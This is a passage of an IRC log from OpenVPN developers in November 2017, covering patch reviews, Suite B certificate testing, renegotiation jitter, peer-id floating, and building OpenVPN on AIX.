USD) if I'm reading this right 04:12 <@vpnHelper> Title: Polarhome - gateway to freedom (at www.polarhome.com) 04:13 <@cron2> and for 10 EUR/month you can get a root shell on a dedicated AIX LPAR 04:14 <@cron2> commercial AIX VMs start at about 150$/month *gasp* 04:15 <@ordex> wow 04:15 <@ordex> ok 04:15 <@ordex> I guess it's expensive because somebody has to pay for the HW where it runs 04:16 <@ordex> 2017.10.09 polarhome servers were not reachable because polarhome has still problem with the core switch. The Cisco Catalyst WS-C2960G-48TC-L died again. 04:16 <@ordex> appealing :-P 04:17 <@dazo> The world needs to switch to SDN by now .... hw sucks .... :-P 04:17 <@ordex> sure 04:17 <@ordex> :P 04:17 <@ordex> SDN will run on thin air :D 04:18 <@dazo> and photons! :-P 04:24 <@dazo> Photons transport would probably result in something between 6 and 46 minutes round-trip time between earth and Mars, depending on the distance between the planets .... being bored on Mars, I could probably survive that if it there is a new jumbo packet standard, increasing the bar considerably from 9000 bytes :-P 04:24 <@dazo> probably more like 9GB :-P 04:25 <@ordex> ahah 04:29 <@cron2> now that will need buffers in routing equipment... 04:30 <@dazo> well, we can escape that as it's all SDN and we don't rely on hw :-P 04:30 <@dazo> it's all in the cloud! 04:30 * dazo turns off clue-less-ceo-mode 04:45 <@dazo> d12fk: you around? 05:22 <@d12fk> yes 05:23 <@d12fk> for another 30 minutes at least 05:33 <@dazo> You need to run compiling with -Wall ;-) 05:34 <@dazo> there's a bunch of warnings .... you have an ugly const char *delim = 035; .... which I think should be const char delim = 035; 05:34 <@dazo> but I'm sending an e-mail about lots of these things in a bit :) 05:35 <@dazo> the new "programmers font" gertvdijk pointed us at is quite amazing ... works fine in meld and eclipse at least :) https://github.com/tonsky/FiraCode 05:35 <@vpnHelper> Title: GitHub - tonsky/FiraCode: Monospaced font with programming ligatures (at github.com) 05:36 <@d12fk> dazo: oh yeah that is ugly 05:36 <@d12fk> hm wonder why I did not see them, gcc colors it's output even... 05:36 <@dazo> that's the worst one ... you also use argv_free() instead of argv_reset() in the unit test case too 05:36 <@dazo> heheh 05:37 <@dazo> and there's an unused function in test_argv 05:38 <@d12fk> before argv_reset was renamed to _free? 05:39 <@dazo> yeah 05:39 <@dazo> at least, the test_argv.c doesn't compile 05:39 <@dazo> changing it did the magic :) 05:40 <@d12fk> where ar you at? 5/7? 05:40 <@dazo> yepp 05:40 <@d12fk> ok, i'll resend 05:40 <@dazo> I test these patches independently, to ensure it is bisectable in the future 05:40 <@d12fk> yeah, that's the right way 05:41 <@dazo> just wait a bit ... I'll complete my review mail in a bit 05:41 <@d12fk> ok 05:49 <@dazo> mail sent :) 06:21 <@cron2> I've heard you talk about something that sounded like "parsing the resulting string according to the delimiter set to see if it has the right amount of fields in it" 06:22 <@cron2> did you take quoting into account (for "real use"), or is this just for the test cases? 06:25 <@dazo> cron2: !? talking about the JSON stuff, or the argv clean-up? 06:25 <@dazo> (as depends on the use of delimiters) 06:25 <@dazo> as *both 06:27 <@cron2> argv 06:28 <@cron2> (I do try to keep context, you know :) ) 06:28 <@dazo> the delimiter is 0x1D / ascii group delimiter 06:28 <@dazo> so if anyone uses that ... it is b0rken by design 06:28 <@dazo> that's the internal delimiter these patches uses 06:29 <@cron2> ah, good. ignore me, then, and I go back to sleep 06:29 <@dazo> :) 06:42 <@ordex> does anybody know if HAVE_GETTIMEOFDAY_NANOSECONDS is undefined on some cryptic platform? maybe AIX does not have it ? 06:42 * ordex is on a ifdef-cleanup-crusade 06:44 <@cron2> ordex: download vagrant and go test :-) - I would expect that some of the BSDs or Solaris have milliseconds there 06:45 <@ordex> cron2: looking forward to samuli merging your bits and then I'll run it. (maybe when I am not on 'WIFIonICE' :-P) 06:53 <@cron2> ordex: you can start with openbsd and netbsd right away... but indeed, having proper downlink is beneficial 06:53 <@ordex> yup 07:40 <@plaisthos> ordex: there also some #define hidden in headers that are unconditionally set or not set 07:41 <@ordex> plaisthos: exactly 07:41 <@ordex> some of them depended on ENABLE_CRYPTO, this they become useless once we remove the latter 07:57 <@plaisthos> ordex: I meant things like EXPONENTIAL_BACKOFF 07:59 <@ordex> I think that one is there to tweak behaviours in case of debugging ? 08:03 <@ordex> anyway, one step at a time, because some of them may have an hidden meaning 10:47 <@cron2> ordex: solaris instructions in mattock's vagrant repo... 11:17 <@mattock> cron2: when your custom freebsd box is on the public vagrant box list we can probably fork mattock/openvpn-vagrant to OpenVPN/openvpn-vagrant 12:00 <@d12fk> is there examples of proper doxygen comments for functions somewhere in the source code? 12:00 * d12fk has no idea what is expected besides /** 12:03 <@ordex> d12fk: I think external_pkcs1_sign in ssl_mbedtls.c might be a reasonable example 12:05 <@d12fk> thanks 12:40 <@plaisthos> pretty muche the same syntax as javadoc 12:41 <@plaisthos> if we had C99 comments //! would probably work for one line function documentation *ducks* 13:01 <@cron2> mattock: the box is there, patch is in your mail 13:02 <@cron2> mattock: uploaded this morning from work (100M uplink, because my office switch can't do more :) ) 13:18 <@plaisthos> cron2: first world problems 13:29 <@cron2> plaisthos: indeed :-) - and then, there's "the in-house cabling can not do more than 1G, because it's fairly long (and old) cat5 runs" 13:30 <@cron2> in the basement, there's 10G Internet :-) 15:21 < openvpn-slack> <johan> For some reason now that I know you in real life I can't help hearing each of your accents in my head. The voices are real. 15:24 < tincantech> johan .. the book made into a blockbuster mvie ! 15:24 <@cron2> johan: *lol* 15:26 < tincantech> Starring : Danny la Rue as Johan Draaisma 18:31 < tincantech> ordex: syzzer .. error : " VERIFY ERROR: depth=0, error=Suite B: invalid signature algorithm: C=00, ST=..etc " .. I just bring it to your attention becuase I am not sure if the implementation is complete with that last patch 18:34 < tincantech> connectes fine with --tls-cert-profile preferred .. Cert Sig is: Signature Algorithm: ecdsa-with-SHA256 (easyrsa 303) 18:37 < tincantech> both side are last git master plus patch (or else how would 'Suite B' be in the mix?) 18:41 < tincantech> ASN1 OID: secp384r1 --- Day changed Tue Nov 14 2017 00:53 <@cron2> tincantech: if your *certificates* are not suitable for suiteb, they will be rejected - but "making EC certificates" needs to happen outside openvpn 04:09 <@syzzer> cron2: to what address do I bounce mails if I want them to appear in patchwork? 04:09 <@syzzer> cron2: to what address do I bounce mails if I want them to appear in patchwork? 04:09 <@syzzer> oops 04:11 <@syzzer> or mattock ^^ 04:13 <@cron2> patchwork@openvpn.net 04:43 <@syzzer> thanks :) 04:44 <@cron2> are we having a meeting tomorrow? 04:44 <@syzzer> I could make it, but don't have anything for the agenda 04:45 * cron2 has lots of work in queued patches, but no real agenda items either 05:40 < tincantech> is there a more complete description of 'suiteb' than this : https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14205.html 05:40 <@vpnHelper> Title: Re: [Openvpn-devel] Should we use mbedTLS certificate profiles? (at www.mail-archive.com) 05:41 < tincantech> as far as I can tell my cert ought to be suitable .. 05:49 < tincantech> I am testing with serv: OpenSSL 1.1.0f -- cli: OpenSSL 1.0.1f (pki built on 110f) ec:secp384r1 sig.alg:ecdsa-with-SHA256 06:04 <@plaisthos> for the discussion of json 4, it seems easier if someone just wrote the patch with right formatting than discussing lengthly about it 06:28 <@mattock> I'm fine with no meeting for this week at least 07:06 <@dazo> tincantech: I think this should cover it ... https://tools.ietf.org/html/rfc6460#page-5 07:06 <@vpnHelper> Title: RFC 6460 - Suite B Profile for Transport Layer Security (TLS) (at tools.ietf.org) 07:13 < tincantech> dazo: thanks for that :) 07:36 < tincantech> for now I am going to "assume" that "ssl_openssl.c: 392: * For now, use OpenSSL's security levels to achieve similar (but not equal)" means something is questionable here .. because my cert seems to be sufficient .. I'll try some other tests later 07:38 < tincantech> Question: if a cert is not suitable for suiteb is that tested when the cert is *loaded/read* or only when processing the connection ? 07:41 < tincantech> I think I have another problem, suddenly this appeared : Options error: Unrecognized option or missing or extra parameter(s) in /etc/openvpn/tunc_55111u.conf:88: tls-cert-profile (2.5_git 07:41 < tincantech> don't worry, I understand that error 07:54 < tincantech> making progress: WARNING: OpenSSL 1.0.1 does not support --tls-cert-profile, ignoring user-set profile: 'suiteb' 08:51 < tincantech> dazo: when you get a momentm could you please update this thread so it is not left hanging thnx : https://forums.openvpn.net/viewtopic.php?f=30&t=24129 08:51 <@vpnHelper> Title: Issues with the openvpn-2.3.15 source release - OpenVPN Support Forum (at forums.openvpn.net) 08:52 <@dazo> tincantech: you can't close it? 08:53 <@dazo> ahh, I see Locked 08:57 < tincantech> dazo: thankyou 08:57 <@dazo> no worries! 10:04 <@mattock> dazo, ordex: what's your take on tomorrow's community meeting? any need at your end? 10:12 <@syzzer> tincantech: https://tools.ietf.org/html/rfc6460 10:12 <@vpnHelper> Title: RFC 6460 - Suite B Profile for Transport Layer Security (TLS) (at tools.ietf.org) 10:12 <@syzzer> looks like suite wants either P256+SHA256 of P384+SHA384 10:36 < tincantech> syzzer: ahh thanks ! my cert has mixed SHA256 + P384 .. will try with both 256 or both 384 later on and let you know .. sorry i missed that wee detail till now /:) 10:42 <@syzzer> yeah, well, suiteb is a bit different from all other typical ways to restrict the allowed algorithms 10:42 <@syzzer> that RFC has a quite good introduction though 11:05 < tincantech> syzzer: thanks for your help :) 11:05 < tincantech> I think I found a bug ! a bad one ! 11:07 < tincantech> linux is : Linux openvpn 3.16.0-4-amd64 #1 SMP Debian 3.16.43-2+deb8u2 (2017-06-26) x86_64 GNU/Linux 11:08 < tincantech> openvpn is : Tue Nov 14 17:06:16 2017 us=926336 OpenVPN 2.3.4 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [PKCS11] [MH] [IPv6] built o 11:08 < tincantech> n Jun 26 2017 11:08 < tincantech> (this is a digital ocean droplet) 11:13 < tincantech> forget it .. user error ! 11:32 < tincantech> syzzer: you were right .. SHA384+P384 connected no problem ! thanks again :) 11:33 < tincantech> full suiteb 14:53 <@vpnHelper> RSS Update - tickets: #958: OpenVPN client can't connect when using a password with special characters <https://community.openvpn.net/openvpn/ticket/958> 19:35 <@ordex> mattock: not really. maybe we can skip for this week ? 20:03 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 258 seconds] 20:04 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 20:04 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Wed Nov 15 2017 01:58 <@mattock> ordex: sounds good 03:08 <@syzzer> tincantech: good to hear, and thanks for testing! 11:15 < tincantech> So i was reading about suite b .. then fips .. then dual_ec_drbg .. it's all true ! (says a cynical man) 19:22 -!- Netsplit *.net <-> *.split quits: @pekster 19:28 -!- Netsplit over, joins: @pekster 19:28 -!- ServerMode/#openvpn-devel [+oo pekster d12fk] by moon.freenode.net 19:30 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 19:31 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 19:31 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Thu Nov 16 2017 02:59 <@syzzer> mattock: Engimail crypted that mail automatically, not because I think anything in there is secret. So feel free to share the information. 05:40 <@mattock> syzzer: forwarded to ostif, thanks a lot! 08:17 <@plaisthos> syzzer: btw. there is one downside of the radnom tls reconnect I think 08:17 <@plaisthos> if you have a peer id client behind a NAT the server might not reach the client 08:20 <@syzzer> plaisthos: how is that a problem of the random? 08:20 <@cron2> so you assume "NAT state has expired out, if client reconnects it would work, if server starts early, fail"? 08:21 <@plaisthos> yeah that exactly 08:21 <@plaisthos> be might be more of a conrner case 08:21 <@syzzer> ^^ that is the only corner case I can come up with where this solution wouldn't help - but that would be an exception 08:22 <@plaisthos> But I also have no solution for that corner case other than moving the random to the client 08:22 <@syzzer> heh, good, we seem to agree 08:32 <@cron2> we could jitter outwards 08:32 <@cron2> or just not care 08:32 <@cron2> "so yeah, we fail tls reconnect" - eventually the client will come, and then we reconnect 08:33 < cthuluh> hi there 08:34 < cthuluh> I was wondering, is there a place where I could document things such as time_t printing? 08:34 < cthuluh> https://community.openvpn.net/openvpn/wiki/CodeStyle is the nearest thing I found 08:34 <@vpnHelper> Title: CodeStyle – OpenVPN Community (at community.openvpn.net) 08:36 < cthuluh> just wondering, because I spotted a recent patch on the ml that re-introduced (unsigned)time_t casts 08:36 < cthuluh> whereas the code has been moved to the %lld/(long long) idiom 08:37 <@syzzer> cthuluh: yes, I think CodeStyle is the best place 08:42 * ordex thinks so too 08:43 < cthuluh> ok, thanks 08:43 < cthuluh> creating an account now 08:55 < tincantech> if the server cannot reach the client it will --ping-restart it anyway eventually (unless you do something funky with pings) 08:57 < tincantech> no .. that is probably the wrong way round 09:00 <@plaisthos> tincantech: seconary is to have a long time time like 300 1800, so ping will timeout after 30 minutes 09:00 <@plaisthos> but tls renogiation will time out much quicker 09:24 < cthuluh> https://community.openvpn.net/openvpn/wiki/CodeStyle#Printingtime_tandsuseconds_tvalues the time_t doc discussed earlier 09:24 <@vpnHelper> Title: CodeStyle – OpenVPN Community (at community.openvpn.net) 09:29 <@syzzer> cthuluh: looks good, thanks for the effort! 09:33 < cthuluh> sure! 09:58 < tincantech> plaisthos: yes that is an unusual case but the point of jitter on tls reneg is to mitigate all clients reneg'ing at the same time due most likely to a prior server restart .. a long period like 30m isn't going to have the same effect unless you have a really mass specific use case for all clients waiting past their ~NAT timeout and all renegging after 30m 10:00 < tincantech> but if you do i would rely on float instead 10:04 < tincantech> i recently did a small job for a company which does exactly that 11:06 <@plaisthos> tincantech: mobile phone 11:06 <@plaisthos> nat timeout is something like 120s 11:07 <@plaisthos> and you want really long ping times otherwise it will eat your phone's battery 11:21 < tincantech> i see what you mean wrt --reneg jitter when the server is less and cannot kick the client 11:22 < tincantech> i don't have that sort of mobile phone so i really don't understand how poeple (or you) would use it 11:23 < tincantech> overall .. i imagine (porbably incorrectly) if you use a vpn on the phone you only need the vpn when you need it and let it timeout otherwise 11:25 <@plaisthos> you hav just your vpn running all the time 11:25 <@plaisthos> when you need it, it works 11:26 <@plaisthos> only downside that push notification break 11:26 < tincantech> i understand that :) 11:26 <@plaisthos> but since my phone has (public) ipv6 even that does not happen anymore 11:26 < tincantech> i presume you just accept that push note break ? 11:27 <@plaisthos> yeah for the ipv4 network case, yes 11:27 < tincantech> oh ipv6 = no NAT 11:27 < tincantech> sure 11:29 < tincantech> well in ipv6 case the point is moot .. 11:29 < tincantech> but as you accept no push on ipv4 due to nat then float really is the answer .. and reneg jitter is still due to a server restart when all clients connect at the same time 14:32 < tincantech> this looks like it is the wrong way around: 14:32 < tincantech> Thu Nov 16 20:31:32 2017 us=23937 Float requested for peer 0 to 86.14.232.194:52186 14:32 < tincantech> Thu Nov 16 20:31:32 2017 us=24085 AEAD Decrypt error: cipher final failed 14:33 < tincantech> ah tls-auth not crypt 14:35 <@cron2> syzzer: how does tls-crypt v2 play with peer-id floating clients? 14:51 < tincantech> i have done something wrong but can't figure it out yet 14:55 < tincantech> i think i have --compress v --comp-* mixed up 15:00 < tincantech> he .. if i forked something it is cos something is forked .. see this (these two ips are for different clients) 15:00 < tincantech> Thu Nov 16 20:59:56 2017 us=692345 peer 0 (v3.ec.hell.cli.imp) floated from 92.1.243.49:3168 to [AF_INET]86.14.232.194:52186 15:00 < tincantech> it cannot float because they are different clients with differennt cert/keys 15:02 < tincantech> Thu Nov 16 21:01:21 2017 us=484923 peer 0 (v3.ec.hell.cli.imp) floated from 86.14.232.194:52186 to [AF_INET]92.1.243.49:3168 15:02 < tincantech> and back 15:02 < tincantech> something very odd going on .. 15:03 < tincantech> Thu Nov 16 21:02:57 2017 us=993162 TLS Error: local/remote TLS keys are out of sync: [AF_INET]92.1.243.49:3168 [0] 15:05 < tincantech> server is master + syzzers [PATCH v4] Add per session pseudo-random jitter to --reneg-sec intervals 15:05 < tincantech> but with a config error that is hard to find 15:06 < tincantech> client s are master without patch 15:06 < tincantech> server has --reneg-sec 200 # only 15:08 < tincantech> no one client is 244 15:17 < tincantech> cron2: I know you are just going to say "confs and logs" (of course) but I have at least one client floating repeatedly between two different client actual IPs (not local) 15:18 < tincantech> regular timeouts and restarts 15:18 < tincantech> always peer 0 15:19 < tincantech> requested and floated 15:20 < tincantech> ok .. i'll patsebin or something the whole show 15:50 < tincantech> if i had to guess .. something about how a client re-verifies on float does not take into account 'actual' client instance and then openvpn mixes up the client ip 15:52 < tincantech> and that is without duplicate-cn 16:51 < jpwhiting_> hmm, I have a signed renamed tap adapter .sys and .cat which are installing fine with tapinstall, but it isn't creating a network device somehow 16:51 < jpwhiting_> tapinstall hwids is showing the device it created, but they are not showing in network devices control panel and openvpn --show-adapters also doesn't list it 16:52 < jpwhiting_> do I need to rebuild tapinstall and/or openvpn with my tap adapter's name in order for them to see it ? 16:52 < jpwhiting_> s/name/id/ 17:14 < tincantech> jpwhiting_: did you use --dev-node 'your device name' ? 17:14 < tincantech> in the config 17:18 < tincantech> oh $your_dev_name .sys & .cat && why ? 17:47 < jpwhiting_> tincantech: I'm just trying to get the device to show up in control panel and openvpn --show-adapters 17:47 * jpwhiting_ tries --dev-node 17:48 < jpwhiting_> I renamed tap0901 to tapTODYL as suggested in the OemVista.inf file comments 17:48 < jpwhiting_> signed the .sys and .cat and tapinstall gives no errors 17:48 < jpwhiting_> but openvpn --show-adapters shows no adapters 17:49 < jpwhiting_> tapinstall hwids tapTODYL shows one, but nothing in openvpn --show-adapters or in network adapters control panel either 17:49 < jpwhiting_> openvpn --dev-node 'tapTODYL' --show-adapters shows none also 17:49 < jpwhiting_> neither does --dev-node TODYL 18:23 < tincantech> This renamed windows TAP driver .. what is the new name of the .sys and .cat ? 19:00 < tincantech> https://nakedsecurity.sophos.com/2016/09/26/dont-drill-a-headphone-jack-hole-into-your-iphone-7-its-a-hoax/#comment-4931611 20:28 <@ordex> cron2: tls-crypt-v2 does not care about floating IPs and peer-id. there is no link between them and the way keys are used, therefore it should just work[tm] (same as tls-crypt does now) 20:42 <@ordex> cron2: to clarify: the peer id is not encrypted as it is part of the initial 4 bytes of the packet, thus the server has enough information to identify the client when float is enabled. syzzer may correct if I am wrong :p 20:44 <@ordex> correct *me 23:04 < jpwhiting_> tincantech: the .sys and .cat files are tapTODYL.sys and tapTODYL.cat 23:04 < jpwhiting_> tapinstall works, but somehow doesn't create devices I guess 23:05 < jpwhiting_> though tapinstall hwids tapTODYL shows a device after --- Day changed Fri Nov 17 2017 00:55 <@cron2> ordex: ah. I thought *all* of the packet is encrypted, in which case the server would not see the peer-id. Thanks for clarifying 02:15 -!- lev__ [~lev@openvpn/corp/lev] has quit [Remote host closed the connection] 02:48 <@syzzer> cron2, ordex: float/peer-id works on the data channel, while tls-crypt(-v2) works on the control channel 02:48 <@syzzer> we never 'floated' on control channel packets, only on data channel packets 02:49 <@syzzer> (but the control channel endpoint floats along with the data channel to the new IP/port if the data channel initiates a float) 02:49 <@syzzer> so "just works" 02:49 <@cron2> syzzer: interesting, so if a client moves to a new IP and then sends control packets, it will hickup, unless it happens to send a data channel packet as well? 02:49 <@syzzer> cron2: correct 02:50 <@cron2> ok, understood 02:50 <@cron2> (and I should have known, after all, it's P_DATA_V2...) 02:50 <@syzzer> :) 02:50 * cron2 wonders how many interesting corner cases we could find here :-) - but I'm not sure I care, use --ping and live is good 02:50 <@cron2> life 02:50 <@cron2> gah 02:51 <@cron2> "one of the most common mistakes" 03:49 -!- lev__ [~lev__@openvpn/corp/lev] has joined #openvpn-devel 03:49 -!- mode/#openvpn-devel [+v lev__] by ChanServ 03:58 -!- lev__ [~lev__@openvpn/corp/lev] has quit [Remote host closed the connection] 05:01 <@ordex> syzzer: isn't the peer_id sent along with the control packets too ? 05:02 <@ordex> ah maybe not 05:02 <@ordex> because the peer_id is written by tls_prepend_opcode_v2() which is only for data packets 05:05 <@ordex> yeah...the header of the ctrl packet is just: uint8_t header = ks->key_id | (opcode << P_OPCODE_SHIFT); 05:06 <@ordex> I wonder..is there any special reason for not using the peer_id in ctrl packet once the server has assigned one to the client ? 05:16 <@cron2> "lev did not code it that way" 05:16 <@cron2> (iow, we managed to agree on a new format for the data frames, but did not even discuss the control frames, as in steady state, data packets are what happens and control packets are much more rare) 05:17 <@cron2> control plane is (except for permitting bigger packets) mostly unchanged since 1.x days 06:39 <@syzzer> the control plane already has the session id which we could use for the same purpose 06:39 <@syzzer> though there tls-crypt-v2 *would* block it 06:40 <@syzzer> but I don't think it's worth the trouble 07:10 <@ordex> next time we touch the ctrl channel, we may want to implement a real congestion control algorithm, so that syzzer can send his new 100MB long keys :-P 07:10 <@ordex> I am sure that will be worth the pain :-P 07:10 * cron2 is not listening *lalala* 07:10 <@ordex> :D 07:21 <@syzzer> ordex: that is exactly what plaisthos, gertvdijk and me have been looking at ;-) 07:21 <@ordex> cron2: did you hear that? 07:21 <@ordex> :D 07:24 <@ordex> in batman-adv (L2 routing protocol in kernelspace) we wanted to implement a basic throughput meter tool. We started with a simple stop-and-wait protocol, thinking it was enough to reach reasonable performance (of course we know this wouldn't be possible)...then we basically ended up walking all the TCP history up to implementing a fully featured version of TCP reno (in our module)... But I won't tell 07:24 <@ordex> you for how long we've been debugging that :-P 07:25 <@ordex> unless we can rely on some external library doing it for us (I guess there must be one) 07:25 <@ordex> after all google is reimplementing everything on tcp, I am sure they have something that can be re-used 07:25 <@ordex> sorry, everything on *UDP* 07:28 <@syzzer> what plaisthos suggested is LEDBAT, which is implemented in libutp: https://github.com/bittorrent/libutp 07:28 <@vpnHelper> Title: GitHub - bittorrent/libutp: uTorrent Transport Protocol library (at github.com) 07:28 <@syzzer> but that's not wire-compatible with the current control channel protocol, which I'd prefer to not change... 07:31 <@ordex> mh, well I guess any congestion protocol would need to send some state in the header, thus keeping wire-compatibility without introducing a new op code might be quite challenging, no? 08:00 <@syzzer> ordex: we already send ACKs, so can do RTT estimation just fine :) 08:00 <@ordex> gn yeah, maybe 08:00 <@ordex> :P 08:00 <@syzzer> LEDBAT works with one-way queue delay estimation instead of RTT 08:00 <@ordex> oh ok 08:00 <@ordex> sounds interesting 08:01 <@syzzer> it is, and looks like a really good candidate if backwards compat was not an issue 08:01 <@syzzer> but plaisthos thinks backwards compat can be achieved otherwise, so I'll have to pick his brains about that a bit more 08:02 <@syzzer> (after I understand all this a bit better) 08:07 <@ordex> cool, sounds like there is a plan to come up with a plan 08:07 <@ordex> I like that :) 08:23 * cron2 is *so* not listening with great interest... 08:46 <@ordex> lol 08:46 <@ordex> cron2: couldn't "let the server discover the comp algo instead of configuring it" be a new feature? or there is something speaking against it ? 08:47 <@cron2> ordex: it really should just look at the incoming compression byte and decompress whatever comes in 08:47 <@cron2> instead of "I WANT LZO, SO I DROP LZ4!" (even if it could do lz4) 08:47 <@ordex> right, but then it should also re-use the same algo when sending data back, no ? 08:48 <@ordex> regardless of how it got configured 08:48 <@ordex> (otherwise it would not make much sense I think) 08:51 <@cron2> this might not work straightforward as some algos might need an $comp_init() 08:51 <@cron2> but an interesting idea 08:53 <@dazo> the server would then need to catch what the clients supports as well .... so it doesn't send lz4 compressed data to v2.3 or older clients 08:55 <@ordex> dazo: the server could just reply with what the client has sent 08:55 <@ordex> so basically let the client choose the comp algo 08:55 <@dazo> right .... and there's some IV_ flags too in the OCC stuff indicating what the client supports 08:55 <@ordex> (unless completely unsupported by the server .. then it will break as it does now .. unless we negotiate that too .. but maybe we keep that as further step) 08:57 <@ordex> yeah, but the client may choose an algo based on the traffic pattern it thinks it will use, therefore might be better to just enforce the decision made by the client 08:57 <@ordex> rather than letting the server "choose" among the supported ones 08:58 <@ordex> btw, cron2: syzzer: plaisthos: in case your radar had missed this, here you have a new interesting TCP congestion algo (already shipped in linux): http://blog.cerowrt.org/post/bbrs_basic_beauty/ 08:58 <@vpnHelper> Title: A quick look at TCP BBR - http://blog.cerowrt.org/ (at blog.cerowrt.org) 09:30 <@cron2> dazo: IV_ is not OCC but push-peer-info 09:32 <@dazo> ahh, duh! of course! 09:50 < gertvdijk> ordex: That may be an algorithm that is trying to use full bandwidth available, but we were looking at options that will suffice for us, with much less complexity. I'm not sure how complex BBR is, though, but I'll blindly follow plaisthos in his advice here. :) (cc syzzer) 09:51 <@ordex> gertvdijk: ah sure! I did not mean to suggest BBR as implementation for the control channel :D I only wanted to share the article about a nice TCP congestion control evolution 09:51 <@ordex> as a general purpose discussion :P not related to openvpn dev, sorry for the confusion 09:52 < gertvdijk> ah okay 14:05 <@vpnHelper> RSS Update - tickets: #959: Environment variable time_unix not reset if renegenotiation occurs <https://community.openvpn.net/openvpn/ticket/959> 14:36 <@cron2> we need to add "anything with TLS -> syzzer" to !blame 14:37 <@dazo> !blame 14:37 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault, or (#2) According to krzee, it's always dazo's fault, or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments, or (#4) cron2 says if windows is involved, it's always d12fk's fault, or (#5) if it is crypto blame syzzer and plai for acking 14:38 <@dazo> it's kind of there :-P 14:38 * dazo considers "TLS" to be part of crypto :-P 14:47 <@cron2> so, I blame syzzer for #959, then :-) - and plaisthos 20:57 <@ordex> cron2: during the hackathon, did you mean to create a page like this https://community.openvpn.net/openvpn/wiki/OpenVPN2.4 but for ovpn2.5 ? 20:57 <@vpnHelper> Title: OpenVPN2.4 – OpenVPN Community (at community.openvpn.net) --- Day changed Sat Nov 18 2017 07:46 <@cron2> ordex: yes --- Day changed Sun Nov 19 2017 13:50 <@vpnHelper> RSS Update - gitrepo: Add per session pseudo-random jitter to --reneg-sec intervals <https://github.com/OpenVPN/openvpn/commit/dd99646347bc5461fa83b0e62114550504bb128f> 14:26 <@cron2> plaisthos: I think I know why pan is failing *all* tap tests nowadays... it rebooted, and did not load tap.kext on boot. *Tun* work, because utun... 14:26 <@cron2> kextload'ed it now (no idea how to make it autoload), will push a test run and then see... 14:38 <@vpnHelper> RSS Update - gitrepo: Add --tls-cert-profile option. <https://github.com/OpenVPN/openvpn/commit/aba758740d26224b7b3957df221def7ab80c5802> 14:50 <@vpnHelper> RSS Update - gitrepo: Add generated openvpn.doxyfile to .gitignore <https://github.com/OpenVPN/openvpn/commit/4da4b9386695fe535b1f3095b87fc58cfcb62695> 16:03 < cthuluh> #ifdef OPENSSL_VERSION_NUMBER strikes again :) 16:04 < cthuluh> I just sent a patch to the ml to fix master against LibreSSL 16:14 < Crazy_Hopper> Hi! I could be wrong but it seems I've hit a bug in 2.4.4. I'd expect that client daemon cofigured with auth-retry nointeract, auth-nocache, and auth-user-pass FILE would consult FILE upon each connection attempt but it sends either no auth or an old one (didn't actually check which one). Could you please check and let me know whether it is a bug indeed or I'm doing something wrong? --- Day changed Mon Nov 20 2017 01:58 <@cron2> Crazy_Hopper: log? 07:23 <@mattock> cron2: https://github.com/mattock/openvpn-vagrant updated 07:23 <@vpnHelper> Title: GitHub - mattock/openvpn-vagrant: Vagrantfiles for OpenVPN (at github.com) 07:24 <@mattock> cron2: is GPLv2 ok as the license? 07:24 <@cron2> mattock: works for me 07:24 <@mattock> ok 07:24 <@mattock> I will add the license file later today/tomorrow 07:25 <@cron2> oh, you have been busy :-) 07:25 <@mattock> fping needs to be built on source on ubuntu-1604 - otherwise all the pieces are in place at my end 07:25 <@mattock> I guess so 07:25 <@cron2> why is there no fping??? 07:25 <@mattock> I have to split now though :) 07:25 <@cron2> have fun 07:25 <@mattock> I do not know 07:25 <@mattock> fping.org is down atm 07:25 <@mattock> can't write a script to build it atm 07:25 <@mattock> will fix today/tomorrow 07:26 <@cron2> ordex: have fun testing this... 07:26 <@cron2> or "playing around with funny OSes" :) 07:26 * cron2 is working on getting access to an AIX7 root shell on polarhome.com... 08:39 <@cron2> mmmh, no mbedtls for AIX... should I care...? 09:30 <@plaisthos> cron2: pan does not load load tap automatically but then again, buildbot also does not start automatically 09:32 <@plaisthos> also it has not rebooted (uptime 135 days) 09:32 <@plaisthos> kextstat|grep tap 09:32 <@plaisthos> 155 0 0xffffff7f81ec3000 0x7000 0x7000 net.tunnelblick.tap (4730.3) 7CADB84E-01B1-3CD4-8FE3-CA4D2BE6C67E <7 5 4 1> 09:42 <@dazo> cron2: probably not 09:43 <@dazo> cron2: if there are openvpn users on aix requiring mbedtls .... I think they should take care of getting mbedtls on that platform, then we can look into if openvpn breaks 09:48 <@cron2> plaisthos: I have loaded the tap kext yesterday, it was not there. Then, test 4 came back to working :-) - for 4a, I added a "-c5" to the fping invocation, and that was enough to make buildbot happy 09:49 <@cron2> dazo: that's what I concluded to 09:49 <@dazo> :) 11:10 <@cron2> *sigh*, why can't we have a --with-openssl=$PATH configure option like reasonable packages... 11:11 <@cron2> having CFLAGS and LIBS, and needing quotes for LIBS, which then do now show up in config.log, is just a major nuisance... 11:11 <@cron2> (I know the answer, "because Alon said that our way is The Only True Way") 11:15 <@cron2> whee 11:15 * cron2 is proud of you folks 11:15 <@cron2> -bash-4.2$ src/openvpn/openvpn --version 11:15 <@cron2> OpenVPN 2.5_git [git:master/bae61bbc8f8a2c23] powerpc-ibm-aix7.1.0.0 [SSL (OpenSSL)] [LZ4] [MH/RECVDA] [AEAD] built on Nov 20 2017 11:15 <@cron2> library versions: OpenSSL 1.0.2k 26 Jan 2017 11:15 <@cron2> this is "out of the box git master", and it compiles nicely on AIX7 (plugins do not, but that's known) 12:06 <@cron2> ... but it fails self test... this is interesting 12:06 <@cron2> Mon Nov 20 18:50:46 2017 Entering OpenVPN crypto self-test mode. 12:06 <@cron2> Mon Nov 20 18:50:46 2017 TESTING ENCRYPT/DECRYPT of packet length=1 12:06 <@cron2> Mon Nov 20 18:50:46 2017 SELF TEST FAILED, pos=0 in=240 out=128 12:06 <@cron2> Mon Nov 20 18:50:46 2017 Exiting due to fatal error 12:21 <@cron2> mmmh 13:15 <@cron2> this is... interesting... 13:15 <@cron2> Testing cipher 